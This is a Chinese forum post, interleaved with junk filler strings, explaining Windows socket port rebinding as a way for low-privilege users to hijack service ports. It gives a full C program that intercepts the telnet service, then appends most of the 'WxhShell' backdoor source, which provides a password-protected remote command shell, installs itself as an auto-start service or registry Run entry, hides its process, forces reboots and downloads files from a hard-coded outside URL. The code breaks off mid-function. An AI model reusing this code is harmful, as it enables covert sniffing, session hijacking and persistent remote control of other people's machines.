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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: [gH vI  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #Q$9Eq8"[  
[",W TZ:  
  saddr.sin_family = AF_INET; *PZNZ{|m  
JsVW:8QO~  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 1(rH5z'F  
lh8`.sWk4V  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /lAt&0  
8n);NZ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 I&R4.;LW  
Ay2Vz>{  
  这意味着什么?意味着可以进行如下的攻击: Wd&!##3$Q  
HPr5mWs:  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 e[w)U{|40  
b_\aSEaTT  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) rDUNA@r  
H%Q@DW8~@  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 +a"A svw2  
EvQN(_  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  7(Y!w8q&^  
3H@TvV/;f  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 N<Ti]G  
e l7P  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 bWUo(B#*I  
Q[`_Y3@j  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 hp Lo  
ZZzf+F)T  
  #include Aw9^}k}UfD  
  #include (Dq3e9fX  
  #include Dr,{V6^  
  #include    lj'c0k8  
  DWORD WINAPI ClientThread(LPVOID lpParam);   (lS&P"Xi  
  int main() 5NBc8h7 V  
  { D8BK/E-  
  WORD wVersionRequested; KzI$GU3  
  DWORD ret; 7GWPsaPn  
  WSADATA wsaData; 7cY_=X-?Y  
  BOOL val; AEOo]b*&d  
  SOCKADDR_IN saddr; 2vu"PeU9  
  SOCKADDR_IN scaddr; ,? <jue/bd  
  int err; Gvl-q1PVC  
  SOCKET s; 76mQ$ze  
  SOCKET sc; {$oZR" MP  
  int caddsize; z Sj.Y{J  
  HANDLE mt; &6r".\; ^  
  DWORD tid;   !T6oD]x3  
  wVersionRequested = MAKEWORD( 2, 2 ); }qi6K-,oU  
  err = WSAStartup( wVersionRequested, &wsaData ); WI](a8bm  
  if ( err != 0 ) { 6>SP5|GG  
  printf("error!WSAStartup failed!\n"); K?(ls$  
  return -1; t 0nGZ%`  
  } n M,m#"AI  
  saddr.sin_family = AF_INET; 3Ki`W!C  
   T_y 'cvh  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 9@:H9" w  
Euk#C;uBg  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); \,ir]e,1  
  saddr.sin_port = htons(23); v3Te+oLg  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Z\6azhbI}  
  { %:YON,1b=7  
  printf("error!socket failed!\n"); \*v}IO>2})  
  return -1; ?R;5ErZ  
  } CZxQz  
  val = TRUE; T{{J' _s5L  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 +\\*Iy'xK  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) < 5;0LPU  
  { -r/#20Y  
  printf("error!setsockopt failed!\n"); n|yl3v  
  return -1; y%v<Cp@R  
  } "7l p|0I  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; J &u&G7#S  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 4~ZQsw `  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ! |}J{  
W6E9  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) V[rNJf1z  
  { t \Fc <  
  ret=GetLastError(); #HJF==  
  printf("error!bind failed!\n"); PF1!aAvVb  
  return -1; f?2Y np=@  
  } 3k5Mty  
  listen(s,2); G0^23j  
  while(1) mhnD1}9,Ih  
  { Qh? E* 9  
  caddsize = sizeof(scaddr); gmj a2F,  
  //接受连接请求 4ME8NEE  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); JUF[Y^C  
  if(sc!=INVALID_SOCKET) [WRs1$5  
  { )[~ #j6  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); fP&F$"o8  
  if(mt==NULL) slOki|p;  
  { gD@ &/j7  
  printf("Thread Creat Failed!\n"); |Rhx&/  
  break; xX{uDMYa;  
  } 'R*xg2!i  
  } 0{BPT>'  
  CloseHandle(mt); 6IctW5b  
  } oZA|IF8U0  
  closesocket(s); ig")bt3s5  
  WSACleanup(); Q2Yv8q_}Uq  
  return 0; mkk74NY  
  }   K.*?\)&  
  DWORD WINAPI ClientThread(LPVOID lpParam) )gmDxD ^C  
  { d?v#gW  
  SOCKET ss = (SOCKET)lpParam; l^u P?l"  
  SOCKET sc; 3+EJ%  
  unsigned char buf[4096]; E,c~.jYc  
  SOCKADDR_IN saddr; _ZzN}!Mye  
  long num; SR*%-JbA  
  DWORD val; 9(|[okB  
  DWORD ret; T!"<Kv]J  
  //如果是隐藏端口应用的话,可以在此处加一些判断 >BrxJw#M  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   YQ,IdWav  
  saddr.sin_family = AF_INET; s|pb0  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); "<v_fF<Y  
  saddr.sin_port = htons(23); \xDu#/^  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) jm.pb/  
  { pEH[fA]  
  printf("error!socket failed!\n");  ,H1J$=X'  
  return -1; wju~5  
  } ,*E%D _  
  val = 100; i_`YZ7Hxp  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) smIZ:L %  
  { 7KRc^ *pZs  
  ret = GetLastError(); +A~lPXAXW  
  return -1; -fL|e/   
  } iV'-j,-i  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) s.=)p"pTd  
  { z9w@-])  
  ret = GetLastError(); q E$ .a[  
  return -1; k5!k3yI  
  } kgr:8 5  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) )tFFa*Z'  
  { oxO}m7 ULH  
  printf("error!socket connect failed!\n"); &U4]hawbOU  
  closesocket(sc); j"94hWb  
  closesocket(ss); Qbl6~>T  
  return -1; y^;qT_)#  
  } R3?~+ y&  
  while(1) ^3=8*Xr  
  { ni2H~{]z  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ^z[s;:-  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 "5{Yn!-:  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 P2`ks[u+i  
  num = recv(ss,buf,4096,0); 2<ef&?ljk  
  if(num>0) V9Au\  
  send(sc,buf,num,0); R)<Fqa7Tm  
  else if(num==0) L'aMXNO  
  break; =_^g]?5i  
  num = recv(sc,buf,4096,0); )&_{m K  
  if(num>0) pM(y?zGt  
  send(ss,buf,num,0); c}QQ8'_  
  else if(num==0) U}gYZi;;$  
  break; ?a}eRA7  
  } ~RvU+D  
  closesocket(ss); ngm7Vs  
  closesocket(sc); #:s'&.6  
  return 0 ; Bj@&c>  
  } D|=QsWZI  
1"v;w!uh  
m.V mS7_I  
========================================================== B5I(ai7<M  
6@l:(-(j2A  
下边附上一个代码,,WXhSHELL 5~rs55W  
"K\Rq+si  
========================================================== fcw \`.  
jU4Ir {f  
#include "stdafx.h" kQ'G+Kw~F  
8De `.!Gg  
#include <stdio.h> TzK?bbgr!  
#include <string.h> NoKYHN^*w  
#include <windows.h> C{2 UPG4x  
#include <winsock2.h> 57[O)5u.+  
#include <winsvc.h> !. 0W?6yo  
#include <urlmon.h> }:jXl!:V  
Q45rP4mQ  
#pragma comment (lib, "Ws2_32.lib") niA{L:4  
#pragma comment (lib, "urlmon.lib") pAa{,,Qc  
VFYJXR{  
#define MAX_USER   100 // 最大客户端连接数 eGguq~s`  
#define BUF_SOCK   200 // sock buffer D~mGv1t"  
#define KEY_BUFF   255 // 输入 buffer }>0UaK  
")sq?1?X  
#define REBOOT     0   // 重启 OKf/[hyu  
#define SHUTDOWN   1   // 关机 F'*{Fk h  
;- cq#8S  
#define DEF_PORT   5000 // 监听端口 a(J~:wgd  
A$5!]+  
#define REG_LEN     16   // 注册表键长度 DAvAozM  
#define SVC_LEN     80   // NT服务名长度 !MGQ+bD6  
UhEnW8^bz1  
// 从dll定义API M~"K@g=Wr  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); BRW   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _C*}14 "3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ur@'X-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |bBYJ  
2^:5aABQ  
// wxhshell配置信息 /Wj9Stj5  
struct WSCFG { sXfx[)T<  
  int ws_port;         // 监听端口  35,SPR  
  char ws_passstr[REG_LEN]; // 口令 4)"jg[  
  int ws_autoins;       // 安装标记, 1=yes 0=no "C0oFRk  
  char ws_regname[REG_LEN]; // 注册表键名 5q8bM.k\7N  
  char ws_svcname[REG_LEN]; // 服务名 M&>Z[o  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3-Ti'xM  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 UCq+F96j  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 QzV:^!0J  
int ws_downexe;       // 下载执行标记, 1=yes 0=no qvab >U`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0&w.QoZY(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 R_ Z H+@O  
2?m'Dy'JE  
}; l$zM|Z1wR`  
"4ovMan  
// default Wxhshell configuration bx5X8D  
struct WSCFG wscfg={DEF_PORT, #PFf`7b,z  
    "xuhuanlingzhe", Y=Bk;%yT=  
    1, P [gqv3V  
    "Wxhshell", /gPn2e;  
    "Wxhshell", Jj([O2Eq$  
            "WxhShell Service", paiF ah  
    "Wrsky Windows CmdShell Service", 5$jKw\FF=  
    "Please Input Your Password: ", j[c|np4k\  
  1, g y&B"`  
  "http://www.wrsky.com/wxhshell.exe", h"q`gj  
  "Wxhshell.exe" 'KXvn0  
    }; }9@ ,EEhg  
n*'|7#;  
// 消息定义模块 /<M08ze  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  G#K=n  
char *msg_ws_prompt="\n\r? for help\n\r#>"; zQD$+q5h  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; N|8TE7- F|  
char *msg_ws_ext="\n\rExit."; jtN2%w;  
char *msg_ws_end="\n\rQuit."; D[9eu>"'9M  
char *msg_ws_boot="\n\rReboot..."; ^ b}_[B  
char *msg_ws_poff="\n\rShutdown..."; =cg0o_q8  
char *msg_ws_down="\n\rSave to "; -4"E]f  
J6|5*|*^  
char *msg_ws_err="\n\rErr!"; O~w&4F;{  
char *msg_ws_ok="\n\rOK!"; ~u-mEdu3C  
Ga$+x++'*  
char ExeFile[MAX_PATH]; wD"Y1?Mr  
int nUser = 0; j@Z4(X L  
HANDLE handles[MAX_USER]; R~;<}!Gtx  
int OsIsNt; rT5dv3^MW!  
n|3ENN  
SERVICE_STATUS       serviceStatus; ZOfyy E  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; vMDV%E S1t  
?r#e  
// 函数声明 AEhh 6v  
int Install(void); X >C*(/a  
int Uninstall(void); |%we@ E  
int DownloadFile(char *sURL, SOCKET wsh); !{"{(h)+@  
int Boot(int flag); IIs'm!"Y>  
void HideProc(void); ~[isR|>  
int GetOsVer(void); x.~Z9j  
int Wxhshell(SOCKET wsl); -+-@Yq$  
void TalkWithClient(void *cs); jBarYg  
int CmdShell(SOCKET sock); -dZ7;n5&_  
int StartFromService(void); 3<CCC+47  
int StartWxhshell(LPSTR lpCmdLine); +P81&CaY  
9 }jF]P*Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); iLNKC'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ztr,v$  
b_:]Y<{> f  
// 数据结构和表定义 |fOQm  
SERVICE_TABLE_ENTRY DispatchTable[] = -]\UFR  
{ pMKnA. |  
{wscfg.ws_svcname, NTServiceMain}, L "P$LEk  
{NULL, NULL} f3[gA Y  
}; :q<8:,rP  
:B6hYx  
// 自我安装 a2SMNC]  
int Install(void) #Huvn4x  
{ CMI%jyiX  
  char svExeFile[MAX_PATH]; D ]:sR  
  HKEY key; n&jfJgD&g  
  strcpy(svExeFile,ExeFile); mADq_` j  
L Me{5H  
// 如果是win9x系统,修改注册表设为自启动 ` <cB 6  
if(!OsIsNt) { wKIQK!B)mF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2Xys;Dwx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !X[b 4p  
  RegCloseKey(key); c,:xm=&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !ZJ" lm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]v{f!r=}  
  RegCloseKey(key); */;[ -9  
  return 0; U R>zL3  
    } %QCh#v=ks  
  } 7Ps I'1v  
} BqC!78Y/e  
else { <C`qJP-  
i<@6f'Kir  
// 如果是NT以上系统,安装为系统服务 -,C">T%\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); rXPq'k'h#-  
if (schSCManager!=0) $1y8gm  
{ .'k]]2%ILp  
  SC_HANDLE schService = CreateService @KfFt R-;  
  ( xb1 i{d  
  schSCManager, ?5_~Kn%2  
  wscfg.ws_svcname, _w0t+=&  
  wscfg.ws_svcdisp, osPJ%I`^  
  SERVICE_ALL_ACCESS, #Drs=7w  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , SAMP,un7  
  SERVICE_AUTO_START, ? FGzw  
  SERVICE_ERROR_NORMAL, >77N5 >]e  
  svExeFile, GVhO}m  
  NULL, PY- 1 oP  
  NULL, 1RpTI7  
  NULL, 2#:/C:  
  NULL, $<cio X  
  NULL yr?*{;  
  ); |:BKexjHL  
  if (schService!=0) " uf*?m3  
  { W/q-^Zkt,9  
  CloseServiceHandle(schService); o!!";q%DX  
  CloseServiceHandle(schSCManager); 2[6>h)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {G$I|<MD2T  
  strcat(svExeFile,wscfg.ws_svcname); _ZX"gH x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { wTb7 xBI  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^L#\z7  
  RegCloseKey(key); R1OC7q  
  return 0; H<T9$7Yr%r  
    } #2l6'gWE0  
  } Ja<pvb  
  CloseServiceHandle(schSCManager); GO0Spf_Gh  
} y"q7Gx*^j  
} Elth xj  
65X31vU  
return 1; oE@{h$=  
} |:yQOq|  
' NCxVbyYD  
// 自我卸载 B^g+_;  
int Uninstall(void) , Fo7E  
{ #!V [(/  
  HKEY key; ]+A>*0#"  
Pl^-]~  
if(!OsIsNt) { b[p<kMTir  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nn>< k"  
  RegDeleteValue(key,wscfg.ws_regname); `~|8eKFq!  
  RegCloseKey(key); NCbl|v=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6&V4W"k  
  RegDeleteValue(key,wscfg.ws_regname); w}n:_e  
  RegCloseKey(key); ;m6Mm`[i<  
  return 0; !#cZ!  
  } gEC*JbA.3  
} t95hI DtD  
} ^,S\-Uy9  
else { $__e7  
/?X1>A:*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $tvGS6p>  
if (schSCManager!=0) DF D5">g@  
{ <<F#Al  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); mw}obblR  
  if (schService!=0) ^pz3L'4n  
  { dLOUL9hf  
  if(DeleteService(schService)!=0) { ?3 J  
  CloseServiceHandle(schService); +o&E)S}wP  
  CloseServiceHandle(schSCManager); 'G z>X :  
  return 0; [{3WHS.  
  } : sIZ+3  
  CloseServiceHandle(schService); etF?,^)h=g  
  } Yo0%5 noz  
  CloseServiceHandle(schSCManager); *8k`m)h26  
} ^9T6Ix{=  
} Yh/-6wg  
 |u 8hxa  
return 1; M (dVY/ i  
} kf~71G+  
}D.?O,ue  
// 从指定url下载文件 PZ69aZ*Gs  
int DownloadFile(char *sURL, SOCKET wsh)  iqf+rBL  
{ ?QO)b9  
  HRESULT hr; #|^7{TN   
char seps[]= "/"; YN 4P >d  
char *token; Z5~dU{XsT  
char *file; ;cZ9C 1  
char myURL[MAX_PATH]; )CS 7>Vx  
char myFILE[MAX_PATH]; Q6?+#}  
S8j;oJ2 d  
strcpy(myURL,sURL); &rj6<b1A  
  token=strtok(myURL,seps); S |T:rc(~  
  while(token!=NULL) :K{`0U&l5  
  { GV)#>PL  
    file=token; $I_ 04k#t  
  token=strtok(NULL,seps); ]!H*oP8a*  
  } js Tb0  
~Av]LW  
GetCurrentDirectory(MAX_PATH,myFILE); yAEOn/.~  
strcat(myFILE, "\\"); xMg&>}5  
strcat(myFILE, file); P,AS`=z  
  send(wsh,myFILE,strlen(myFILE),0); q p|T,D%  
send(wsh,"...",3,0); *sf9(%j  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |w[}\#2  
  if(hr==S_OK) pPCxa#OV  
return 0; )Y~q6D K  
else Rz`<E97-  
return 1; Wf_aEW&n  
DMcvu*A  
} ,)V*xpp  
7=om /  
// 系统电源模块 R#tz"T@  
int Boot(int flag) $Z 10Zf=  
{ x=1G|<z%  
  HANDLE hToken; &{&lCBN  
  TOKEN_PRIVILEGES tkp; k_V1x0sZ  
`(;d+fof  
  if(OsIsNt) { v Xio1hu  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); PGT!HdX#{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -j3 -H&  
    tkp.PrivilegeCount = 1; <)Kjf/x  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; lGG1d  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); H?40yu2m5  
if(flag==REBOOT) { ThWZ>hyJ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !dhZs?/UI  
  return 0; xx;'WL,g  
} B>X+eK  
else { { KwLcSn  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &%u,b~cL?  
  return 0; a-!"m  
} E\m?0]W|  
  } \07Vh6cj  
  else { 4)Pt]#Ti  
if(flag==REBOOT) { [%l+ C~m  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .U5+PQN  
  return 0; BqZLqGO Ku  
} 86%weU/*  
else { I4|p;\`fK  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (!X:[Ah*$  
  return 0; tY# F8a&  
} }T,E$vsx  
} \TMRS(  
m}uF&|5  
return 1; S"3g 1yU^_  
} /u:Sn=SPd  
{##A|{$3%  
// win9x进程隐藏模块 /4~RlXf@  
void HideProc(void) D@ =.4z  
{ )1x333.[c  
3'/wRKl  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3&' STPpW  
  if ( hKernel != NULL ) g X(QRQ  
  {  iI ^{OD  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3J,/bgL5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); J.?p?-"  
    FreeLibrary(hKernel); ?J6hiQvL  
  } IL%&*B  
yp*kMC,3  
return; nAts.pVy"  
} R2J3R5 S=[  
tQl=  
// 获取操作系统版本 H`io|~Q  
int GetOsVer(void) ` jUn  
{ `HJwwKd  
  OSVERSIONINFO winfo; T2(+HI2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); I" j7  
  GetVersionEx(&winfo); lJYv2EZ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @K+u+} R  
  return 1; 3 t_5Xacj  
  else 15s?QSKj  
  return 0; }Ql;%7  
} X@D3  
ljf9L:L  
// 客户端句柄模块 9a4RW}S<  
int Wxhshell(SOCKET wsl) 1Gqtd^*;  
{ _9gn;F  
  SOCKET wsh; U NAuF8>K  
  struct sockaddr_in client; kU^@R<Fo  
  DWORD myID; ,`Mlo  
#UI`G3w<  
  while(nUser<MAX_USER) 4OIN@n*4  
{ 0yZw`|Zh[  
  int nSize=sizeof(client); 6/n;u{|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); z"H%Y 8  
  if(wsh==INVALID_SOCKET) return 1; y\)w#  
AP~!YwLW  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ip0Zf?  
if(handles[nUser]==0) (J;?eeP  
  closesocket(wsh); M<L<mP}  
else @6Mo_4)O  
  nUser++; x-QP+M`Pu  
  } %B?5l^W@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }9kq?  
u,]yd*  
  return 0; =0-qBodbl  
} -|T^  
>@|<1Fx|  
// 关闭 socket 4NzHzn  
void CloseIt(SOCKET wsh) (Zn\S*_@/  
{  y1saE  
closesocket(wsh); u`~{:V  
nUser--; >fdN`W }M  
ExitThread(0); CNz[@6-cYU  
} RAxz+1JT  
$5o<Mj  
// 客户端请求句柄 _aGdC8%[  
void TalkWithClient(void *cs) q8lK6p\:W  
{ i@6 /#  
!< )_ F  
  SOCKET wsh=(SOCKET)cs; vP2QAGk <  
  char pwd[SVC_LEN]; SrtmpQ  
  char cmd[KEY_BUFF]; w\ :b(I  
char chr[1]; mc=*wr$  
int i,j; E6gEP0b  
+NY4j-O  
  while (nUser < MAX_USER) { 1L|(:m+  
{Vm36/a  
if(wscfg.ws_passstr) { ]4yvTP3[Rm  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (D{}1sZBQ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &1{k^>oz  
  //ZeroMemory(pwd,KEY_BUFF); 85 hYYB0v  
      i=0; Y<+4>Eh  
  while(i<SVC_LEN) { <7^~r(DP  
"=(;l3-o  
  // 设置超时 $yAfs3/%)s  
  fd_set FdRead; #V 6 -*  
  struct timeval TimeOut; !;gke,fB  
  FD_ZERO(&FdRead); k ))*z FV  
  FD_SET(wsh,&FdRead); $%JyM  
  TimeOut.tv_sec=8; Uz|]}t5V  
  TimeOut.tv_usec=0; yh:,[<q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~'MWtDe:Z8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q@9 i3*q;  
mW-W7-JhO7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W wha?W>  
  pwd=chr[0]; HH?*"cKF~  
  if(chr[0]==0xd || chr[0]==0xa) { y7OG[L/  
  pwd=0; A.O~'')X  
  break; cloI 6%5r  
  } =fG8YZ(  
  i++; 0Q>|s_  
    } l`&6W?C  
z-5#bOABW  
  // 如果是非法用户,关闭 socket ]gksyxn3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5-HJ&Q  
} E{ s|#  
AFTed?(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (dF;Gcw+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )c/y07er  
9`xFZMd31A  
while(1) { z|*6fFE   
rVy\,#|  
  ZeroMemory(cmd,KEY_BUFF); Vor9 ?F&w  
SsX05>  
      // 自动支持客户端 telnet标准   B:4qW[U#  
  j=0; [E (M(w':  
  while(j<KEY_BUFF) { ~@b}=+n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .oj"ru  
  cmd[j]=chr[0]; Y&f[2+?2NK  
  if(chr[0]==0xa || chr[0]==0xd) { y%bqeo L~  
  cmd[j]=0; $L8s/1up  
  break; ' ,`4 U F  
  } 8M+F!1-#  
  j++; hX| UE  
    } 14 'x-w^~k  
KH>sCEt  
  // 下载文件 OCO,-(  
  if(strstr(cmd,"http://")) { ]#q7}Sd  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); S aet";pf`  
  if(DownloadFile(cmd,wsh)) :YXQ9/iRr  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); zMzf=~  
  else ku9F N  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w^E]N  
  } Rn(F#tI  
  else { A|_%'8  
zGd*Q5l  
    switch(cmd[0]) { 3KFrVhB=  
  /\uH[[s  
  // 帮助 i^cM@?  
  case '?': { 1fhK{9#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7K]U |K#  
    break; r]EZ)qp^@  
  } o p5^9`"  
  // 安装 $_7d! S"  
  case 'i': { <T.#A8c  
    if(Install()) $CwTNm?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hPi :31-0  
    else |XA aKZA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FlA\Ad;v  
    break; WlRZ|.  
    } aco}pXz  
  // 卸载 K6yFpVl  
  case 'r': { fRa-bqQ  
    if(Uninstall()) ,-I F++q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l)rvh#D  
    else 3G/ mB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ))69a  
    break; tqwk?[y}+l  
    } I%Po/+|+  
  // 显示 wxhshell 所在路径 )>X|o$2  
  case 'p': { `ToRkk&&>{  
    char svExeFile[MAX_PATH]; "K$Wh1<7  
    strcpy(svExeFile,"\n\r"); Q~Sv2  
      strcat(svExeFile,ExeFile); =.f +}y  
        send(wsh,svExeFile,strlen(svExeFile),0); zTBi{KrZ  
    break; s8yTK2v2\  
    } ]T3BDgu%&  
  // 重启 3{I=#>;  
  case 'b': { ?(NT!es  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); xX&>5 "  
    if(Boot(REBOOT)) J,0WQQnb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rb}wv16?  
    else { o!l3.5m2d  
    closesocket(wsh); 400Tw`AiJ  
    ExitThread(0); sg6w7fp>  
    } At[n<8_|  
    break; q{De&Bu  
    } Rqb{)L X*  
  // 关机 Sv ~1XL W  
  case 'd': { 1l|A[ G  
